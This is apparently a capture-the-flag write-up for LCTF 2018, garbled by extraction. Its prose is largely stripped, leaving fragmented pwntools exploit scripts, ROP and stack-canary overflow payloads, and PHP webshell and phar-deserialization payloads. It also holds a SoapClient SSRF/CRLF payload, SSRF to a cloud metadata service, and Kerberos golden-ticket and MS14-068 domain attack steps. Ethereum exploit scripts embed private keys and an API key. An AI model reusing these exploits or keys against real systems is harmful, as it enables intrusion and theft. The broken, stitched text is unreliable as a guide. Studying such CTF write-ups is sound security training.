p64(0x4013bc)).ljust(0xc3f, 'A') #raw_input() p.send(payload) p.sendline() #p.interactive() p.recvuntil('enter the size:\n') puts_addr = u64(p.recvline().strip().ljust(8, '\x00')) libc_addr = puts_addr - 0x6f690 print hex(libc_addr) scanf = libc_addr + 0x6a7e0 system = libc_addr + 0x45390 one = libc_addr + 0x4526a p.send((p64(system) + p64(one)).ljust(0xc40, 'A')) p.interactive() from pwn import * context.log_level = 'debug' context.arch = 'amd64' def pwn(p): #gdb.attach(p) p.recvuntil('enter the size:') payload = str(0xc40) payload = payload.ljust(8, '\x00') # 0x00000000004013c3 : pop rdi ; ret payload += flat([0x00000000004013c3, 0x404000 - 0x100]) payload += p64(0x40103B) payload += p64(0x25b) # idx payload += p64(0xdeadbeffdeadbeff) # retaddr p.sendline(payload) just_pwn time(0) p.recvuntil('size is ') p.recvuntil('\n') payload = p64(0xdeadbeffdeadbeff) # atoi got payload += p64(0x4013BC) # scanf got payload = payload.ljust(0xb40, 'b') payload += '/bin/sh\x00' payload += '\x00'*8 payload += p64(0x4033C0) + p32(0x7) + p32(0x282) + p64(0) payload += '\x00'*8 payload += p32(15024) + p32(0x12) + p64(0) + p64(0) payload += 'system\x00' payload = payload.ljust(0xc40, 'a') #payload += '\n' #payload += 'a'*0x5000 p.send(payload) sleep(1) p.sendline('') p.interactive() if __name__ == '__main__': p = process('./echos') #p = remote('172.81.214.122', 6666) pwn(p) #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import ctypes, copy, time libc = ctypes.CDLL("libc.so.6") c32 = lambda x: ctypes.c_uint32(x).value c8 = lambda x: ctypes.c_uint8(x).value h2n = lambda x: map(ord, x.decode('hex')) n2h = lambda x: ''.join(map(chr, x)).encode('hex') #p = process("./just_pwn") p = remote("118.25.148.66", 2333) libc.srand(libc.time(0)) class NumbnutsBlockCipher(object): def __init__(self): self.add_key = [] self.sr1 = [] self.sr2 = [] self.xor_key = [] for i in xrange(16): self.add_key.append(c8(libc.rand())) self.sr1.append(c8(libc.rand()) & 0xf) self.sr2.append(c8(libc.rand()) & 0xf) self.xor_key.append(c8(libc.rand())) return def pad(self, data): if len(data) % 16 == 0: return data + [0x10] * 0x10 c = len(data) % 16 return data + [16 - c] * (16 - c) def unpad(self, data): return data[:-data[-1]] def decrypt_round(self, out): assert len(out) == 16 for i in xrange(16): out[self.sr1[i]] ^= self.xor_key[i] out[self.sr2[i]] ^= self.xor_key[i] for i in xrange(16): out[i] = c8(out[i] - self.add_key[i]) return out def encrypt_round(self, out): assert len(out) == 16 for i in xrange(16): out[i] = c8(out[i] + self.add_key[i]) for i in xrange(16): out[self.sr1[i]] ^= self.xor_key[i] out[self.sr2[i]] ^= self.xor_key[i] return out def hex2num(self, data): return map(ord, data.decode('hex')) def encrypt(self, data, iv): data = self.pad(data) bn = 0 result = [] while bn * 16 < len(data): block = data[bn * 16: bn * 16 + 16] for i in xrange(16): if bn == 0: block[i] ^= iv[i] else: block[i] ^= result[(bn - 1) * 16 + i] block = self.encrypt_round(block) result += block bn += 1 return result def decrypt(self, data, iv): result = [] bn = 0 while bn * 16 < len(data): block = self.decrypt_round(data[bn * 16: bn * 16 + 16]) for i in xrange(16): if bn == 0: block[i] ^= iv[i] else: block[i] ^= data[(bn - 1) * 16 + i] result += block bn += 1 result = self.unpad(result) return result iv = map(ord, '12345678abcdefgh') cipher = NumbnutsBlockCipher() assert cipher.decrypt(cipher.encrypt([1,2,3,4], iv), iv) == [1,2,3,4] p.recvuntil('Exit\n') p.sendline('1') p.recvuntil('CipherText=') ct = p.recvuntil(';', drop=True) pt = ''.join(map(chr, cipher.decrypt(h2n(ct), iv))) print pt if not 'user' in pt: raise Exception("Invalid keys") crafted = n2h(cipher.encrypt(map(ord, 'guest_account:9999;guestname:user'), iv)) assert len(crafted) == 96 p.recvuntil('Exit\n') p.sendline('2') p.recvuntil('please:\n') payload = 'iv=31323334353637386162636465666768;CipherLen=0096;CipherText=' + crafted.upper() + ';' p.sendline(payload) #context.log_level = 'DEBUG' #gdb.attach(p) WEB Travel http://118.25.150.86/source p.recvuntil('----\n') p.recvuntil('----\n') p.sendline('3') for i in xrange(10): p.recvuntil('confirm\n') p.sendline('n') p.recvuntil('confirm\n') p.sendline('y') p.recvuntil('software:\n') p.send('a'*9) p.recvuntil('a'*9) canary = '\x00' + p.recvn(7) log.info("Canary = " + canary.encode('hex')) payload = 200 * 'A' + canary + 'A' * 8 + p16(0x122c) p.recvuntil('----\n') p.recvuntil('----\n') p.sendline('3') p.recvuntil('confirm\n') p.sendline('y') p.recvuntil('software:\n') p.send(payload) time.sleep(0.5) p.sendline('echo 123;') p.recvuntil('123\n') p.interactive() https://cloud.tencent.com/document/product/213/4934 http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/network/interface s/macs nginx PUT X-HTTP-Method-Override:PUT 52:54:00:48:c8:73hex->90520735500403(int) /home/lctf/.ssh/authorized_keys T4lk 1s ch34p,sh0w m3 the sh31l http://212.64.7.171/LCTF.php $SECRET = `../read_secret`; $SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]); $FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]); class K0rz3n_secret_flag { protected $file_path; function __destruct(){ 1. includewebshell if(preg_match('/(log|etc|session|proc|data|read_secret|history|class|\.\.) /i', $this->file_path)){ die("Sorry Sorry Sorry"); } include_once($this->file_path); } } function check_session(){ //cookie //return $SANDBOX } ... $mode = $_GET["m"]; if ($mode == "upload"){ upload(check_session()); } else if ($mode == "show"){ show(check_session()); } else if ($mode == "check"){ check(check_session()); } else if($mode == "move"){ move($_GET['source'],$_GET['dest']); } else{ highlight_file(__FILE__); } 2. remoteipphar GIF89a <?php eval($_GET[1]); ?> <?php class K0rz3n_secret_flag { protected $file_path='/var/www/data/67bf5ff3cfa1cdd00f700328698c2adb/avatar.gif'; function __destruct(){ if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){ die("Sorry Sorry Sorry"); } include_once($this->file_path); } } $a= new K0rz3n_secret_flag; $p = new Phar('./1.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($a); $p->addFromString('1.txt','text'); $p->stopBuffering(); rename('./1.phar', 'avatar.gif'); 3. wrapper phar:// =>RCE L playground2 http://212.64.7.239 os.path.join, /var/www/project/playground/ pyc main.pyusernameadminget flag >>> os.path.join('/etc', '/passwd') '/passwd' http://212.64.7.239/sandbox? url=file://sandbox//var/www/project/playground/__pycache__&token=LRXfAXOKKI iR6y0hkqZ9VmbiO5Pkguhn09OVvwF/S5jZ9nJ4w0abYS5ADGreQd9mENGxPUQ4OLrtPOh7vuXCX BqQ/BHAyiwWONd01jW0ONdLSyLOI/fy3sr+lIvGei5ue9wd/XqM9WawN26tpaZ372nitSp6ZONi O1VGFtgwdmpgwMvUlZPgzj5vcgGRSNFj @app.route('/') def index(): user = request.cookies.get('user', '') try: username = session_decode(user) session.py session_encode , session_encode(content) => base32(content).[MDA(char) for char in content] MDA (MDxMAC), seed, . usercookie, main.py 5username, session_encode. username, MDA, . EZ OAuth https://lctf.1slb.net/ OAUTH TYPCN https://accounts.typcn.com/ TYPCN pwnhub.cn except Exception: username = get_username() content = escape(username) else: if username == 'admin': content = escape(FLAG) else: content = escape(username) resp = make_response(render_template('main.html', content=content)) return resp b962d95efd252479 => a 84407154c863ef36 => d e80346042c47531a => m 6e1beb0db216d969 => i b020cd1cf4031b57 => n MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b0 20cd1cf4031b57 pwnhub.cn [email protected] pwnhub.cn.mydomain userssrf -> https burpjson json sign(jsondata.result) == jsondata.sign result json sign:true hint: admin true admin http://212.64.13.122 id select id session update id mysql @@timestamp @@pseudo_thread_id id=myid-@@timestamp mod 2*(myid-adminid) select update id select id update adminid admin . poc +1,myidadminid admin id=100001+@a=@a=@a is not null id = myid-(myid-adminid)*@t:=@t:=@t is not null admin py: God of domain pentest windows c0-2021-255 web.lctf.comweb.lctf.com\buguake,172.21.0.8 188.131.161.90 nmapwebsocks51080 1090. 0.880 phpmyadmin general_log getshell. 2333 mimikatzadministrator. SUB-DC.web.lctf.com ms14068.( impacket goldenPac.py ) sub-dc. mimikatzADGold Ticket Enterprise AdminEnterprise AdminADAdministrator sidHistoryEnterprise Admin. misc:cmd cmdflag.( dc.lctf.com ) kerberos::golden /domain:web.lctf.com /sid:sid /sids:sid /krbtgt:nthash /user: . sh0w m3 the sh31l 4ga1n http://212.64.74.153/LCTF.php data phar://data 1. getshellbash null, cookie( $data- >avatar ) /tmp/ upload /tmp/ move /tmp/ webshellphargetshell 2. tmpfile getshell http://212.64.74.153/LCTF.php?m=check&c=compress.zlib://php://filter/string.strip_tags/resourc e=/etc/passwd bestphp's revenge http://172.81.210.82 index.php <?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?> flag.php session->soap(ssrf+crlf)->call_user_funcsoap session soapclient soapssrf+crlfphpsessidflag.php soapclient session_start()sessionfile session phpsoapbug session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag! O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3 Bs%3A8%3A%22location%22%3Bs%3A29%3A%22http%3A%2F%2F172.81.210.82%2Fflag.php %22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3 Bs%3A201%3A%22testaa%0D%0AContent-Type%3A+application%2Fx-www-form- urlencoded%0D%0AX-Forwarded- For%3A+127.0.0.1%0D%0ACookie%3A+PHPSESSID%3Dtestaa123%0D%0AContent- Length%3A+65%0D%0A%0D%0Ausername%3Dwwwwc%26password%3Dwww%26code%3Dcf44f314 7ab331af7d66943d888c86f9%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D ... call_user_func($_GET[f],$_POST); ... if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; } ... $_GET = array('f'=>'session_start','name'=>'|<serialize data>') $_POST = array('serialize_handler'=>'php_serialize') call_user_funcsoap $_SESSION soapreset() $a[0] $b call_user_func $a soap soapsoapphpsessid sessionflag phpsessidindex.phpvar_dump($_SESSION);flag Re () DEScheck DESfa1conn\x00 $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); ... $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); $_GET = array('f'=>'extract'); $_POST = array('b'=>'call_user_func'); node: {character, seq, left, right} A*B=C 6*6 B = [23, 65, 24, 78, 43, 56, 59, 67, 21, 43, 45, 76, 23, 54, 76, 12, 65, 43, 89, 40, 32, 67, 73, 57, 23, 45, 31, 54, 31, 52, 13, 24, 54, 65, 34, 24] C = [ 43666, 49158, 43029, 51488, 53397, 51921, 28676, 39740, 26785, 41665, 35675, 40629, 32311, 31394, 20373, 41796, 33452, 35840, 17195, 29175, 29485, 28278, 28833, 28468, 46181, [0, 1, 14, 12, 17, 18, 19, 27, 28, 2, 15, 20, 31, 29, 30, 16, 13, 5] Flag SMC SMC Xor [19, 18, 5, 7, 17, 1, 0, 20, 6, 29, 28, 27, 15, 16, 4, 3, 2, 32] Flag GG easy_vm VM 58369, 44855, 56018, 57225, 60666, 25981, 26680, 24526, 38780, 29172, 30110] >>> a = [119, 175, 221, 238, 92, 171, 203, 163, 98, 99, 92, 93, 147, 24 , 11, 251, 201, 23, 70, 71, 185, 29, 118, 142, 182, 227, 245, 199, 172, 100, 52, 121, 8, 142, 69, 249, 0x73, 0x3c, 0xf5, 0x7c] >>> des.decrypt(''.join(map(chr ,a))) 'LC-+)=1234@AFETRS{the^VYXZfislrvxyz}\x00\x00\x00\x00' LCTF{this-RevlrSE= x = [ 124, 129, 97, 153, 103, 155, 20, 234, 104, 135, 16, 236, 22, 249, 7, 242, 15, 243, 3, 244, 51, 207, 39, 198, 38, 195, 61, 208, 44, 210, 35, 222, 40, 209, 1, 230] for i in xrange(36): for j in xrange(0, 8, 2): x[i] ^= (1 << (j + i % 2)) )+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL while ( 1 ) { result = (unsigned int)(*(_DWORD *)a1->pc - 134); switch ( *(_DWORD *)a1->pc ) { case 0x86: push_i64(a1); break; case 0x87: push_reg(a1); break; case 0x88: mov_reg_nextinst(a1); break; case 0x89: mov_reg__ptr_(a1); break; case 0x8A: pop_reg(a1); break; case 0x8B: add_reg_reg(a1); break; case 0x8C: reg_reg_sub(&a1->r0); break; case 0x8D: mul_reg_reg(&a1->r0); break; case 0x8E: div_reg_reg(a1); break; case 0x8F: mod_reg_reg(a1); break; case 0x90: xor_reg_reg(a1); break; case 0x91: and_reg_reg(a1); break; case 0x92: mov_r4_reg(a1); break; case 0x93: inc_reg(a1); break; case 0x94: dec_reg(a1); break; case 0x95: mov_reg_i64(a1); break; case 0x96: mov_reg_reg(a1); break; case 0x97: mov_reg_data(a1); break; case 0x98: mov_data_reg(a1); break; case 0x99: inc_data_ptr(a1); break; case 0x9A: inc_dword_data_ptr(a1); break; case 0x9B: cmp_reg_reg(a1); break; case 0x9C: jl(a1); break; case 0x9D: jg(a1); break; case 0x9E: jz(a1); break; case 0x9F: jnz(a1); break; case 0xA0: sub_401346(a1); break; case 0xA1: sub_4014CC(a1); break; case 0xA2: nop(a1); break; case 0xA3: return result; default: nop(a1); break; } Flag0x1b Flag 0 mov r3, 0x1c 4 mov r1, [data] 6 cmp r1, r0 8 jz $+7 10 dec r3 12 inc data 13 jmp $-9 // strlen 15 cmp r3, r2 17 jnz $+6 19 mov r0, 1 23 gg 0 mov r4, r0 2 jnz $+2 4 GG 5 mov r0, 0x80 9 mov r2, 0x3f 13 mov r3, 0x7b 17 mov r4, 0x1c 21 mov r1, [data] 23 mul r1, r2 25 add r1, r3 27 mod r1, r0 29 mov [data], r1 31 inc data 32 dec r4 34 push r4 36 mov r4, r4 38 jnz $+2 40 GG 41 pop r4 43 jmp $-22 45 GG for i in xrange(0x1b): flag[i] = (flag[i] * 0x3f + 0x7b) % 0x80 0 mov r4, r0 2 jnz $+2 4 GG 5 push 0x3E 8 push 0x1a 11 push 0x56 14 push 0x0d 17 push 0x52 20 push 0x13 23 push 0x58 26 push 0x5a 29 push 0x6e 32 push 0x5c 35 push 0x0f 38 push 0x5a 41 push 0x46 44 push 0x07 47 push 0x09 50 push 0x52 53 push 0x25 56 push 0x5c 59 push 0x4c 62 push 0x0a 65 push 0x0a 68 push 0x56 71 push 0x33 74 push 0x40 77 push 0x15 80 push 0x07 83 push 0x58 86 push 0x0f 89 mov r0, 0 93 mov r3, 0x1c 97 mov r1, [data] 99 pop r2 101 cmp r1, r2 103 jz $+3 105 GG 106 inc data 107 dec r3 109 mov r4, r3 111 jnz $+5 113 mov r0, 1 117 GG 118 jmp $-21 120 GG …… Qt correct=DQYHTONIJLYNDLA ... b2w import string a = [i for i in xrange(0x80)] b = [(i * 0x3f + 0x7b) % 0x80 for i in a] a = ''.join(map(chr, a)) b = ''.join(map(chr, b)) t = string.maketrans(b, a) correct = [0x0f, 0x58, 0x07, 0x15, 0x40, 0x33, 0x56, 0x0a, 0x0a, 0x4c, 0x5c, 0x25, 0x52, 0x09, 0x07, 0x46, 0x5a, 0x0f, 0x5c, 0x6e, 0x5a, 0x58, 0x13, 0x52, 0x0d, 0x56, 0x1a, 0x3e] flag = ''.join(map(chr, correct)).translate(t) print flag AEEEEEEEEEEEEEE => AGIKMOQSUWYACEG BEEEEEEEEEEEEEE => BGIKMOQSUWYACEG DAAAAAAAAAAAAAA => DCEGIKMOQSUWYAC DBAAAAAAAAAAAAA => DDEGIKMOQSUWYAC DOBAAAAAAAAAAAA => DQFGIKMOQSUWYAC >>> a = 'AEEEEEEEEEEEEEE' >>> b = 'AGIKMOQSUWYACEG' >>> c = 'DQYHTONIJLYNDLA' >>> flag = ''.join(map(chr, [((ord(c[i]) - 65) - (ord(b[i]) - ord(a[i])) % 26) % 26 + 65 for i in xrange(15)])) >>> flag 'DOUBLEBUTTERFLY' 400E66 400F38 402C7F matlab from pwn import * key = 'LCTF{LcTF_1s_S0Oo0Oo_c0o1_6uT_tH1S_iS_n0t_fL4g}' f = open('out.wav','rb') d = f.read() f.close() res = '' def de1(a,k): t = k * 0x101 t = t & 0xffff return a ^ t j = 0 h = [] r = [] for i in xrange(len(d)/2): t = d[i*2:i*2+2] tt = u16(t) tt = (de1(tt,ord(key[j % len(key)]))) if tt >= 0x8000: tt -= 0x10000 j += ord(key[j % len(key)]) if i %2 == 0: h.append(tt/200.0) else: r.append(tt/200.0) for i in xrange(len(h)): print h[i],r[i] Lunatic Game GHChaskell binary ip4023C8flag Lunatic b16 8B7A aaaa4457415d baaa4457415e LCTF flag d = load("C:\Users\pzhxbz\Desktop\lctf\test_out"); x=d(:,1); y=d(:,2); hold on; for i = 1:44 for j = 1:2000 index = i*2000+j; plot(x(index) + i*200,-y(index),'r.','markersize',30); end end hold off; %LCTF{NOW_YOU_GOT_A_OSCILLOSCOPE_MEDIA_PLAYER} from pwn import * table = 'QWERTYUIOP!@#$%^' def b16decode(s): res = '' for i in s: a = table.index(i) res += hex(a)[-1] return res.decode('hex') de1 = (b16decode('IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE')) for i in xrange(len(de1)/4): print(hex(u32(de1[i*4:(i+1)*4]))) MSP430 RC4 mainkeygen LCTFLCTFflag misc emmmm LCTF{5d7b9adcbe1c629ec722529dd12e5129} osu! https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/?tdsourcetag=s_pctim_ai omsg flag LCTF{OSU_1S_GUUUD} gg bank checkfriend from Crypto.Cipher import ARC4 from pwn import * s = '2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade'.decode('hex') k = 'LCTF' for i in xrange(255): kk = k kk += chr(i * 3 & 0xff) kk += chr(i * 2 & 0xff) kk += chr( ((i & 0x74 ) << 1)&0xff) kk += chr((i + 0x50) & 0xff) a = ARC4.new(kk) print a.decrypt(s) 200 payload: addr = 0x9bf312b5bbbbd496c99983ce9cb521d10fe7d7ec priv = "f56e2522d53316406" priv = 0xb040b3a864aa437ac02030e5cfa1199991214112b5dedbd11535c5298f16b31a public = '9bf312b5bbbbd496c99983ce9cb521d10fe7d7ec' random = int(sha3.keccak_256(int(public,16).to_bytes(20, "big")).hexdigest(),16)%100 random = 57 #!/usr/bin/env python3 # -*- coding=utf-8 -*- from web3 import Web3 import time from ethereum.utils import privtoaddr import os import sha3 import threading my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/c695ce08952c49599827379d10b 5e308") assert my_ipc.isConnected() runweb3 = Web3(my_ipc) main_account = "0x9bf312b5bbbbd496c99983ce9cb521d10fe7d7ec" private_key = "0xb040b3a864aa437ac02030e5cfa1199991214112b5dedbd11535c5298f16b31a" constract = "0x7caa18D765e5B4c3BF0831137923841FE3e7258a" drop_index = (2).to_bytes(32,"big") def run_account(): salt = os.urandom(10).hex() x = 0 while True: key = salt + str(x) priv = sha3.keccak_256(key.encode()).digest() public = privtoaddr(priv).hex() if "7d7ec" in public: tmp_v = int(public, 16) addr = "0x" + sha3.keccak_256(tmp_v.to_bytes(32,"big")+drop_index).hexdigest() result = runweb3.eth.getStorageAt(constract, addr) if result[-1] == 0: yield ("0x"+public, "0x"+priv.hex()) x += 1 def run(args): transaction_dict = { 'from':Web3.toChecksumAddress(main_account), 'to':'', # empty address for deploying a new contract 'gasPrice':10000000000, 'gas':120000, 'nonce': None, 'value':3000000000000000, 'data':"" } transaction_dict2 = { 'from': None, 'to':Web3.toChecksumAddress(constract), 'gasPrice':10000000000, 'gas':102080, 'nonce': 0, "value": 0, 'data':"0xd25f82a0" } transaction_dict3 = { 'from': None, 'to':Web3.toChecksumAddress(constract), 'gasPrice':10000000000, 'gas':52080, 'nonce': 1, "value": 0, 'data':"0xa9059cbb0000000000000000000000009bf312b5bbbbd496c99983ce9cb521d1 0fe7d7ec00000000000000000000000000000000000000000000000000000000000003e8" } addr = args[0] priv = args[1] myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(main_account)) transaction_dict["nonce"] = myNonce transaction_dict["to"] = Web3.toChecksumAddress(addr) r = runweb3.eth.account.signTransaction(transaction_dict, private_key) try: runweb3.eth.sendRawTransaction(r.rawTransaction.hex()) except Exception as e: print("error1", e) print(args) return easy little trick level1 : while True: result = runweb3.eth.getBalance(Web3.toChecksumAddress(addr)) if result > 0: break else: time.sleep(1) transaction_dict2["from"] = Web3.toChecksumAddress(addr) now_nouce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(addr)) transaction_dict2["nonce"] = now_nouce r = runweb3.eth.account.signTransaction(transaction_dict2, priv) try: runweb3.eth.sendRawTransaction(r.rawTransaction.hex()) except Exception as e: print("error2", e) print(args) return transaction_dict3["nonce"] = now_nouce + 1 transaction_dict3["from"] = Web3.toChecksumAddress(addr) r = runweb3.eth.account.signTransaction(transaction_dict3, priv) try: runweb3.eth.sendRawTransaction(r.rawTransaction.hex()) except Exception as e: print("error3", e) print(args) return print(args, "Done") def main(): account_set = run_account() while True: params = next(account_set) t = threading.Thread(target=run, args=(params,)) t.start() if __name__ == '__main__': main() function level1(address target, uint hash, uint block) { require(hash == block.blockhash(block.blocknumber)); require(block.blockhash(block) == 0); require((target.codesize) & 0xff == 0); passed1[target] == 1; } block.blockhash(block.blocknumber) hash, 0. block 0. level2 : , patch , . Script: function level2(address target, contract cont) { require((address(cont).codesize) & 0xff == 9); require(cont.getvalue() == block.difficulty); passed2[target] == 2; } const Web3 = require('web3'); const Tx = require('ethereumjs-tx'); const fs = require('fs'); const WalletProvider = require("truffle-wallet-provider"); const contract = "774Fea9014010a62017C739EAcB760D8E9B40B75"; const mine = '9Fd6Bd7F75fB554A206dFa952cCa508d07e974C8'; const check1 = '1af36a78'; const check2 = 'e2e79a02'; const flag = 'd4d96ac5'; var patched = '608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffff ffffffffffffffffffffffffff021916908373fffffffffffffffffffffffffffffffffffff fff160217905550610209806100606000396000f30060806040526004361061004c57600035 7c0100000000000000000000000000000000000000000000000000000000900463ffffffff1 6806341c0e1b51461004e57806369bd01c414610065575b005b34801561005a57600080fd5b 50610063610090565b005b34801561007157600080fd5b5061007a610125565b60405180828 15260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffff ffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373f fffffffffffffffffffffffffffffffffffffff161415156100eb57600080fd5b6000809054 906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff fffffffffffffffffffffffff16ff5b6000449050905600a165627a7a72305820df99b71d2b f5b4a2dd8b67334c2e93e813a8dddf7ebac166db433f570210329a0029fffffffffffffffff fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff fffffffffffffffffffffffffffffffffff'; String.prototype.trim = function() { return String(this).replace(/^\s+|\s+$/g, ''); }; String.prototype.leftJustify = function( length, char ) { var fill = []; while ( fill.length + this.length < length ) { fill[fill.length] = char; } return fill.join('') + this; } String.prototype.rightJustify = function( length, char ) { var fill = []; while ( fill.length + this.length < length ) { fill[fill.length] = char; } return this + fill.join(''); } String.prototype.abiPack = function() { return num2uint(this.length) + Buffer.from(this).toString('hex').rightJustify(64, '0'); } var wallet = require('ethereumjs- wallet').fromPrivateKey(Buffer.from(fs.readFileSync("./pk.txt").toString(). trim(), 'hex')); var web3 = new Web3(new WalletProvider(wallet, "https://ropsten.infura.io/v3/" + fs.readFileSync("./apikey.txt").toString().trim())); //var web3 = new Web3(new WalletProvider(wallet, "https://ropsten.infura.io/v3/e5eb875654dd4986aa22a11f55c2e94e")); function address2uint(address) { return "000000000000000000000000" + address; } function num2uint(number) { return number.toString(16).leftJustify(64, '0'); } function sendTransaction(tx) { var tx = new Tx(tx); tx.sign(priv); var serialized = tx.serialize() return web3.eth.sendSignedTransaction('0x' + serialized.toString('hex')); } function deploy(contract) { return web3.eth.sendTransaction({ gasPrice: 1000000000, gasLimit: 300000, from: '0x' + mine, value: 0, data: '0x' + contract, }); } // solution to check1 /* web3.eth.sendTransaction({ gasPrice: 1000000000, gasLimit: 300000, from: '0x' + mine, to: '0x' + contract, value: 0, data: '0x' + check1 + address2uint(mine) + num2uint(0) + num2uint(0), }).then(console.log); */ var deployed = "DAa5566D05Dc93aa4b2B7A964d2D9B10644f7CA7"; /* // solution to check2 deploy(patched).then(console.log); web3.eth.sendTransaction({ gasPrice: 1000000000, gasLimit: 300000, from: '0x' + mine, to: '0x' + contract, value: 0, data: '0x' + check2 + address2uint(mine) + address2uint(deployed), }).then(console.log); */ /* // get flag var email = 'aUBzaGlraTcubWU='; web3.eth.sendTransaction({ gasPrice: 1000000000, gasLimit: 300000, from: '0x' + mine, to: '0x' + contract, value: 0, data: '0x' + flag + num2uint(0x20) + email.abiPack(), }).then(console.log); */ web3.eth.sendTransaction({ gasPrice: 1000000000, gasLimit: 300000, from: '0x' + mine, haskell . R,G. Crypto.hs Writer Monad, RC4 . stack ghci : . script: to: '0x' + deployed, value: 0, data: '0x41c0e1b5', }).then(console.log); console.log("done!"); *Main Crypto Helper Image> zero = 0 *Main Crypto Helper Image> encryptoData $ replicate 30 zero [186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,20 6,151,164,193,208,200,210,204,190,202,146,193,207,200] #!/usr/bin/env python # -*- coding: utf-8 -*- import struct, os, sys, itertools, IPython from PIL import Image def main(): inp = Image.open("./input.png") outp = Image.open("./output.png") ip = inp.load() op = outp.load() w, h = inp.size assert (w, h) == outp.size rmatrix = [] for hi in xrange(h): result = [] for wid in xrange(w): assert ip[wid, hi][2] == op[wid, hi][2] result.append((ip[wid, hi][0] ^ op[wid, hi][0], ip[wid, hi][1] ^ op[wid, hi][1])) rmatrix.append(result) datachain = list(itertools.chain.from_iterable(rmatrix)) data = [] idx = 0 while idx + 4 < len(datachain): byte = 0 for i in xrange(4): byte = byte << 2 byte += datachain[idx + i][1] + (datachain[idx + i][0] * 2) data.append(byte) idx += 4 print len(data) keystream = [186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,205,20 6,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,57,97, 52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,1 01,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201,198,2 05,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99,99,5 7,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57 ,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156,201, 198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48,49,99 ,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51, 99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,190,156 ,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,55,48, 49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,9 9,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,203,19 0,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202,205,5 5,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97, 102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154,132,2 03,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193,202, 205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,9 8,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215,154, 132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,146,193 ,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49, 102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,158,215 ,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,202,14 6,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,5 6,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,161,15 8,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204,190,2 02,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98 ,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149,206,1 61,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210,204, 190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,1 01,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204,149, 206,161,158,215,154,132,203,190,156,201,198,205,206,151,164,193,208,200,210 ,204,190,202,146,193,202,205,55,48,49,99,99,57,97,52,57,101,51,48,100,51,53 ,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97,186,153,154,192,204 